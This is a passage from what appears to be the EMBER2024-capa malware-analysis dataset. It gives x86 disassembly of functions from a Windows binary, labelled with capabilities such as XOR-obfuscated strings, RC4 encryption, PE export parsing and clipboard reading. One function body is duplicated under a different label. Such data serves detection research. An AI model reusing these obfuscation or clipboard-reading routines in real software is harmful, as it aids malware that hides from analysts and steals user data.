joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409980
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.00409ab0
sub esp, 0x100
mov esi, esp
call fcn.0043a110
test al, 1
jne 0x40999f
jmp 0x409a76
call fcn.00432fb0
test al, 1
jne 0x4099ad
jmp 0x409a6f
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
cmp eax, 0
setge al
test al, 1
jne 0x4099d6
jmp 0x409a6d
xor eax, eax
sub esp, 0x24
mov dword [esp], 0
mov dword [esp + 4], 0xffffffff
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
cmp eax, 0
setge al
test al, 1
jne 0x409a34
jmp 0x409a65
call fcn.0040ab30
test al, 1
jne 0x409a3f
jmp 0x409a63
lea eax, str.system_or_character_via_spellings_glyphs_a_is_uses_that_in_their_modified_other_on_often_reflection_or_resemblance_on_it_leetspeak__used_similarity_internet._play_eleet_the_of_the_replacements_of_primarily_ways
sub esp, 8
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.00409a90
add esp, 8
call fcn.0040f300
call fcn.0040c650
jmp 0x409a63
jmp 0x409a65
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x409a6d
jmp 0x409a6f
call fcn.0043a9f0
jmp 0x409a76
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x409b10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0x409c47
lea eax, [edi + 2]
xor ebx, ebx
jmp 0x409b4d
add ebx, esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x409b71
movzx ebp, cx
xor ecx, ecx
cmp ebp, 0x800
setb dl
mov esi, 1
cmp ebp, 0x80
jb 0x409b40
mov cl, dl
xor ecx, 3
mov esi, ecx
jmp 0x409b40
lea esi, [ebx + 1]
push esi
call fcn.00409270
add esp, 4
test ebx, ebx
jle 0x409c51
add ebx, eax
add esi, eax
mov dword [esp + 4], esi
mov ebp, eax
jmp 0x409bb5
mov byte [ebp], dl
mov esi, 1
add edi, 2
add ebp, esi
cmp ebp, ebx
jae 0x409c53
movzx edx, word [edi]
test dx, dx
je 0x409c53
cmp dx, 0x7f
jbe 0x409ba0
mov ecx, ebp
not ecx
add ecx, dword [esp + 4]
movzx esi, dx
mov dword [esp + 8], esi
cmp esi, 0x7ff
ja 0x409c10
cmp ecx, 2
jb 0x409c10
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [ebp], cl
mov ecx, edx
not ecx
or ecx, 0x3f
add ecx, edx
add cl, 0x81
mov byte [ebp + 1], cl
mov esi, 2
jmp 0x409ba8
xor esi, esi
cmp ecx, 3
jb 0x409ba8
mov esi, dword [esp + 8]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [ebp], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebp + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [ebp + 2], dl
mov esi, 3
jmp 0x409ba8
push 1
call fcn.00409270
add esp, 4
mov ebp, eax
mov edi, dword [esp + 0x228]
mov esi, dword [esp + 0x224]
mov byte [ebp], 0
movzx edx, byte [eax]
lea ecx, [esp + 0xc]
mov ebx, ecx
test dl, dl
je 0x409c96
inc eax
lea ebx, [esp + 0xc]
jmp 0x409c8b
mov byte [ebx], dh
inc ebx
movzx edx, byte [eax]
inc eax
test dl, dl
je 0x409c96
mov dh, 0x2f
cmp dl, 0x5c
je 0x409c80
mov dh, dl
jmp 0x409c80
mov byte [ebx], 0
push 0
push 0
push 0
mov eax, dword [esp + 0xc]
push dword [eax + 8]
add eax, 0x10
push 0
push 0
push edi
push esi
push ecx
push eax
call fcn.00405c10
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x416eb0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xd0
mov eax, dword [ebp + 0xc]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x416ed0
sar esi, 1
lea edi, [esp + 0x74]
push edi
push 0
push 0
push esi
push eax
push 0
call dword [0x449d14]
mov ebx, dword [esp + 0x74]
test ebx, ebx
jns 0x416eff
mov eax, 0xffffffff
jmp 0x416f02
lea eax, [ebx + ebx]
push eax
call fcn.00409270
add esp, 4
push edi
push ebx
mov dword [esp + 0x34], eax
push eax
push esi
push dword [ebp + 0xc]
push 0
call dword [0x449d14]
mov dword [esp + 0x30], 0x23d421c2
mov dword [esp + 0x34], 0xdf51ddc1
mov dword [esp + 0x38], 0xdbf8d952
mov dword [esp + 0x3c], 0xd74bd534
mov dword [esp + 0x40], 0xd35dd144
mov dword [esp + 0x44], 0xcf5dcd49
mov dword [esp + 0x48], 0xcbc8c958
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 0
mov dword [esp + 0x4f], 0
mov dword [esp + 0x88], 0
mov ecx, dword [esp + 0x88]
cmp ecx, 0x22
ja 0x417008
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x88]
mov edx, dword [esp + 0x88]
movzx edx, byte [esp + edx + 0x30]
lea esi, [ecx + edx]
add esi, 0x904d6d7b
add ecx, 0x904d6d7b
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 0xa4], esi
mov ecx, dword [esp + 0xa4]
mov edx, ecx
or edx, 0xa2
and ecx, 0xa2
add ecx, edx
inc cl
mov edx, dword [esp + 0x88]
mov byte [esp + edx + 0x30], cl
mov ecx, dword [esp + 0x88]
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov dword [esp + 0x88], ecx
mov ecx, dword [esp + 0x88]
cmp ecx, 0x23
jb 0x416f90
lea edi, [esp + 0x88]
lea edx, [esp + 0x30]
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xa4]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [esp + 0x74]
mov ecx, eax
add ecx, 0xd
jns 0x41703e
mov eax, 0xffffffff
jmp 0x417043
add eax, eax
add eax, 0x1a
push eax
call fcn.00409270
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x2c]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x417081
mov eax, dword [esp + 0x2c]
lea edx, [eax + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x417070
mov word [eax], 0
movzx ecx, word [esp + 0x88]
test cx, cx
je 0x4170b1
lea edx, [esp + 0x8a]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4170a0
mov word [eax], 0
lea eax, [esp + 4]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043d1d0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44409c]
Function at 0x41a050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov edi, dword [ebp + 0xc]
mov ebx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x41a070
sar ebx, 1
lea eax, [esp + 0x18]
push eax
push 0
push 0
push ebx
push edi
push 0
call dword [0x449d14]
mov eax, dword [esp + 0x18]
test eax, eax
mov dword [esp + 0x30], eax
jns 0x41a0a3
mov eax, 0xffffffff
jmp 0x41a0a5
add eax, eax
push eax
call fcn.00409270
add esp, 4
mov esi, eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x34]
push esi
push ebx
push edi
push 0
call dword [0x449d14]
lea edi, [esp + 0x1c]
push edi
push esi
call fcn.0043d3b0
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44444c]
Function at 0x420a70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov dword [esp + 0x10], 0x4b93558d
mov dword [esp + 0x14], 0x4fd849da
mov dword [esp + 0x18], 0x43ab4d8a
mov dword [esp + 0x1c], 0x47a741d6
mov dword [esp + 0x20], 0x7ba8459d
mov dword [esp + 0x24], 0x7fe0798e
mov dword [esp + 0x28], 0x73ee7df5
mov dword [esp + 0x2c], 0x77eb7196
mov dword [esp + 0x30], 0x6b9275e0
mov dword [esp + 0x34], 0x6ffe69f5
mov dword [esp + 0x38], 0x63806d8a
mov dword [esp + 0x3c], 0x67f66192
mov dword [esp + 0x40], 0x1bfe65f7
mov dword [esp + 0x44], 0x1f841985
mov dword [esp + 0x48], 0x13891d85
lea eax, [esp + 0x4c]
mov word [esp + 0x4c], 0x1112
mov dword [esp + 0x4e], 0
mov dword [esp + 0x51], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0x44
ja 0x420b72
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x10]
lea esi, [ecx + edx]
add esi, 0xb5867e0d
add ecx, 0xb5867e0d
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 0x5c], esi
mov ecx, dword [esp + 0x5c]
add cl, 0xa5
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x10], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0x45
jb 0x420b30
lea esi, [esp + 0x5c]
lea edx, [esp + 0x10]
mov ecx, 0xf
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x98]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x449d14]
mov ebx, dword [esp + 0xc]
test ebx, ebx
jns 0x420bbb
mov eax, 0xffffffff
jmp 0x420bbe
lea eax, [ebx + ebx]
push eax
call fcn.00409270
add esp, 4
mov edi, eax
lea eax, [esp + 0xc]
push eax
push ebx
push edi
push 0x1e
push esi
push 0
call dword [0x449d14]
mov dword [esp + 0x10], 0x33cc35da
mov dword [esp + 0x14], 0xcfc231b9
mov dword [esp + 0x18], 0xcb37cd32
mov dword [esp + 0x1c], 0xc736c944
mov dword [esp + 0x20], 0xc34ac531
mov dword [esp + 0x24], 0xdfc0c13e
mov dword [esp + 0x28], 0
mov dword [esp + 0x2b], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x1e
ja 0x420c75
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x10]
mov edx, eax
and edx, 0xda6818f9
xor eax, 0xda6818f9
lea eax, [eax + edx*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 4], edx
mov eax, dword [esp + 4]
add al, 0x31
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x10], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x1f
jb 0x420c30
push 0
push 0
lea eax, [esp + 0x18]
push eax
push edi
push dword [ebp + 8]
call fcn.0041a050
add esp, 0x14
mov ebx, eax
jmp dword [0x444ed4]
Function at 0x42fd50
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov esi, esp
mov eax, dword [ebp + 8]
push eax
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x14], esp
push eax
mov ebx, esp
sub esp, 0x18
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x20], esp
mov dword [esi + 0x24], eax
mov byte [esi + 7], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
je 0x42ff08
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [esi + 0x2c], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ecx, dword [esi + 0xc]
mov dword [ecx], eax
jmp 0x42fdd0
cmp dword [ecx], 0
setne al
test al, 1
jne 0x42fddf
jmp 0x42ff00
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x14]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00409500
add esp, 4
mov dword [ebx], eax
cmp dword [ebx], 0
setne al
test al, 1
mov eax, dword [esi + 0xc]
jne 0x42fe16
jmp 0x42fef2
mov eax, dword [esi + 0x24]
mov dword [esi + 0x18], eax
mov eax, dword [ebx]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x14]
mov ebx, dword [eax]
jmp 0x42fe28
call fcn.00409ab0
mov eax, dword [esi + 0x20]
mov al, byte [eax]
mov byte [esi + 0x10], al
mov byte [edi], 0x23
mov byte [edi + 1], 0xc5
mov byte [edi + 2], 0xc3
mov byte [edi + 3], 0xcb
mov byte [edi + 4], 0xd8
mov byte [edi + 5], 0xcc
mov byte [edi + 6], 0xdf
mov byte [edi + 7], 0xcd
mov byte [edi + 8], 0xda
mov byte [edi + 9], 0xf
mov byte [edi + 0xa], 0xc4
mov byte [edi + 0xb], 0xfb
mov byte [edi + 0xc], 0xc6
mov byte [edi + 0xd], 0x75
mov byte [edi + 0x16], 0
mov dword [edi + 0x12], 0
mov dword [edi + 0xe], 0
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 0x17
jae 0x42fecd
jmp 0x42fe8f
mov eax, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx ecx, byte [edi + ecx]
mov edx, eax
add edx, 0x546c30cf
and edx, ecx
lea eax, [eax + ecx + 0x546c30cf]
add edx, edx
sub eax, edx
mov dword [esi + 0x28], eax
mov eax, dword [esi + 0x28]
add al, 0x57
mov ecx, dword [esi + 8]
mov byte [edi + ecx], al
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
cmp eax, 0x17
jb 0x42fe8f
jmp 0x42fecd
jmp 0x42fecf
sub esp, 0xc
mov ecx, dword [esi + 0x18]
mov dword [esp], edi
mov dword [esp + 4], ebx
mov eax, dword [esi + 0x1c]
mov dword [esp + 8], eax
call fcn.00409cd0
and al, 1
mov byte [esi + 7], al
mov eax, dword [esi + 0xc]
jmp 0x42fef2
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42ff08
mov al, byte [esi + 7]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43ab40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x278
push dword [0x451d30]
call fcn.0043b850
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x447de4]

Function at 0x43b850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov esi, esp
mov ebx, dword [ebp + 8]
push eax
sub esp, 0x18
mov dword [esi + 0x20], esp
sub esp, 8
mov dword [esi + 0x40], esp
movzx eax, word [ebx]
mov dword [esi + 0x28], 0xb14bba5
mov dword [esi + 0x2c], 0
mov word [esi + 0x30], 0
mov dword [esi + 8], 0
mov ecx, dword [esi + 8]
cmp ecx, 9
ja 0x43b8e4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx edi, byte [esi + ecx + 0x28]
lea ecx, [edx - 0x1e2a8dd3]
and ecx, edi
add edx, edi
add edx, 0xe1d5722d
add ecx, ecx
mov edi, ecx
xor edi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, edi
mov dword [esi + 0x24], ecx
mov ecx, dword [esi + 0x24]
add cl, 0xc5
mov edx, dword [esi + 8]
mov byte [esi + edx + 0x28], cl
inc dword [esi + 8]
mov ecx, dword [esi + 8]
cmp ecx, 0xa
jb 0x43b8a0
xor ecx, ecx
cmp dword [esi + 0x28], eax
setne cl
jmp dword [ecx*4 + 0x447ef4]
mov ecx, dword [ebx + 0x3c]
mov eax, dword [ebx + ecx]
mov dword [esi + 0x28], 0xd3d01e66
mov dword [esi + 0x2c], 0
mov dword [esi + 0x2f], 0
mov dword [esi + 8], 0
mov edx, dword [esi + 8]
cmp edx, 0xa
ja 0x43b95a
nop
nop
nop
mov edx, dword [esi + 8]
mov edi, dword [esi + 8]
movzx edi, byte [esi + edi + 0x28]
lea ebx, [edx + 0xa3]
and ebx, edi
add edx, edi
add ebx, ebx
sub edx, ebx
add edx, 0xefcaaa3
mov dword [esi + 0x24], edx
mov edx, dword [esi + 0x24]
add dl, 0x8b
mov edi, dword [esi + 8]
mov byte [esi + edi + 0x28], dl
inc dword [esi + 8]
mov edx, dword [esi + 8]
cmp edx, 0xb
jb 0x43b920
xor edx, edx
cmp eax, dword [esi + 0x28]
setne dl
xor eax, eax
mov edi, dword [ebp + 8]
jmp dword [edx*4 + 0x447f0c]
mov edx, dword [edi + ecx + 0x78]
mov eax, dword [edi + ecx + 0x7c]
mov ecx, dword [case.0x43b967.4]
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
test eax, eax
sete cl
xor eax, eax
jmp dword [ecx*4 + 0x447f24]
jmp dword [0x447f34]
xor ecx, ecx
test edx, edx
sete cl
xor eax, eax
jmp dword [ecx*4 + 0x447f3c]
xor eax, eax
jmp dword [0x447f04]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43b982
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov esi, esp
mov ebx, dword [ebp + 8]
push eax
sub esp, 0x18
mov dword [esi + 0x20], esp
sub esp, 8
mov dword [esi + 0x40], esp
movzx eax, word [ebx]
mov dword [esi + 0x28], 0xb14bba5
mov dword [esi + 0x2c], 0
mov word [esi + 0x30], 0
mov dword [esi + 8], 0
mov ecx, dword [esi + 8]
cmp ecx, 9
ja 0x43b8e4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx edi, byte [esi + ecx + 0x28]
lea ecx, [edx - 0x1e2a8dd3]
and ecx, edi
add edx, edi
add edx, 0xe1d5722d
add ecx, ecx
mov edi, ecx
xor edi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, edi
mov dword [esi + 0x24], ecx
mov ecx, dword [esi + 0x24]
add cl, 0xc5
mov edx, dword [esi + 8]
mov byte [esi + edx + 0x28], cl
inc dword [esi + 8]
mov ecx, dword [esi + 8]
cmp ecx, 0xa
jb 0x43b8a0
xor ecx, ecx
cmp dword [esi + 0x28], eax
setne cl
jmp dword [ecx*4 + 0x447ef4]
mov ecx, dword [ebx + 0x3c]
mov eax, dword [ebx + ecx]
mov dword [esi + 0x28], 0xd3d01e66
mov dword [esi + 0x2c], 0
mov dword [esi + 0x2f], 0
mov dword [esi + 8], 0
mov edx, dword [esi + 8]
cmp edx, 0xa
ja 0x43b95a
nop
nop
nop
mov edx, dword [esi + 8]
mov edi, dword [esi + 8]
movzx edi, byte [esi + edi + 0x28]
lea ebx, [edx + 0xa3]
and ebx, edi
add edx, edi
add ebx, ebx
sub edx, ebx
add edx, 0xefcaaa3
mov dword [esi + 0x24], edx
mov edx, dword [esi + 0x24]
add dl, 0x8b
mov edi, dword [esi + 8]
mov byte [esi + edi + 0x28], dl
inc dword [esi + 8]
mov edx, dword [esi + 8]
cmp edx, 0xb
jb 0x43b920
xor edx, edx
cmp eax, dword [esi + 0x28]
setne dl
xor eax, eax
mov edi, dword [ebp + 8]
jmp dword [edx*4 + 0x447f0c]
mov edx, dword [edi + ecx + 0x78]
mov eax, dword [edi + ecx + 0x7c]
mov ecx, dword [case.0x43b967.4]
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
test eax, eax
sete cl
xor eax, eax
jmp dword [ecx*4 + 0x447f24]
jmp dword [0x447f34]
xor ecx, ecx
test edx, edx
sete cl
xor eax, eax
jmp dword [ecx*4 + 0x447f3c]
xor eax, eax
jmp dword [0x447f04]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43cfe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov ebx, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x43d000
mov edi, eax
sar edi, 1
cmp eax, 0xfffffff5
jge 0x43d01b
mov eax, 0xffffffff
jmp 0x43d01e
add eax, 0xa
push eax
call fcn.00409270
add esp, 4
mov esi, eax
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
lea eax, [edi + 4]
mov word [esi + 8], 0
mov ecx, esi
add ecx, 8
movzx edx, word [ebx]
test dx, dx
je 0x43d061
add ebx, 2
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x43d050
mov word [ecx], 0
mov ecx, eax
and ecx, 0xfffd
and edi, 2
mov edx, edi
xor edx, 2
imul edx, ecx
or eax, 2
imul eax, edi
lea ecx, [eax + edx]
mov word [esp + 0x18], cx
add eax, edx
add eax, 2
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x24], 0x18
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], 0x40
lea eax, [esp + 0x18]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov dword [esp + 8], 0x82858487
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xf
ja 0x43d14d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 8]
lea edx, [eax + 0xc1]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0x2c7950c1
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov ecx, eax
xor ecx, 0xb8
and eax, 0x38
lea eax, [ecx + eax*2]
inc al
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 8], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x10
jb 0x43d100
mov edi, dword [esp + 8]
mov eax, dword [0x449d18]
test eax, eax
je 0x43d1bd
xor ecx, ecx
mov edx, dword [0x449d1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edx + ecx*8], 0x7a96736e
je 0x43d180
inc ecx
cmp eax, ecx
jne 0x43d170
jmp 0x43d1bd
mov eax, dword [edx + ecx*8 + 4]
cmp eax, edi
je 0x43d1bd
lea ecx, [esp + 8]
lea edx, [esp + 0x24]
push 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x20]
push 0
push ecx
push edx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xb
push dword [0x449d20]
push eax
call fcn.0043ab10
add esp, 0x38
mov edi, eax
push esi
call fcn.00409280
add esp, 4
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43d1d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, dword [ebp + 8]
mov di, 0xfffc
mov ebx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
add edi, 4
cmp word [esi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x43d1f0
cmp ebx, 0xfffffff5
jge 0x43d20a
mov eax, 0xffffffff
jmp 0x43d20d
lea eax, [ebx + 0xa]
push eax
call fcn.00409270
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov edx, eax
add edx, 8
movzx ecx, word [esi]
test cx, cx
je 0x43d251
add esi, 2
nop
nop
nop
nop
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x43d240
mov word [edx], 0
add ebx, 8
mov word [esp + 0x18], bx
and edi, 4
xor ebx, 2
add ebx, edi
mov word [esp + 0x1a], bx
mov esi, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], 0x18
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], 0x40
lea eax, [esp + 0x18]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov dword [esp + 8], 0x82858487
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xf
ja 0x43d32d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 8]
lea edx, [eax + 0xc1]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0x2c7950c1
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov ecx, eax
xor ecx, 0xb8
and eax, 0x38
lea eax, [ecx + eax*2]
inc al
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 8], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x10
jb 0x43d2e0
mov edi, dword [esp + 8]
mov eax, dword [0x449d18]
test eax, eax
je 0x43d391
xor ecx, ecx
mov edx, dword [0x449d1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edx + ecx*8], 0x366ceda
je 0x43d360
inc ecx
cmp eax, ecx
jne 0x43d350
jmp 0x43d391
mov eax, dword [edx + ecx*8 + 4]
cmp eax, edi
je 0x43d391
lea ecx, [esp + 8]
lea edx, [esp + 0x24]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ecx
push edx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 6
push dword [0x449d20]
push eax
call fcn.0043ab10
add esp, 0x24
mov edi, eax
push esi
call fcn.00409280
add esp, 4
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43d3b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x58
mov ebx, dword [ebp + 8]
mov edi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + edi + 2], 0
lea edi, [edi + 2]
jne 0x43d3d0
cmp edi, 0xfffffff5
jge 0x43d3e7
mov eax, 0xffffffff
jmp 0x43d3ea
lea eax, [edi + 0xa]
push eax
call fcn.00409270
add esp, 4
mov esi, eax
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
add eax, 8
movzx ecx, word [ebx]
test cx, cx
je 0x43d431
add ebx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x43d420
mov word [eax], 0
and edi, 0xfffffffe
lea eax, [edi + 8]
mov word [esp + 4], ax
add edi, 0xa
mov word [esp + 6], di
mov dword [esp + 8], esi
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea eax, [esp + 4]
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0x82858487
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xf
ja 0x43d4f8
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + 0xc1]
add eax, ecx
and edx, ecx
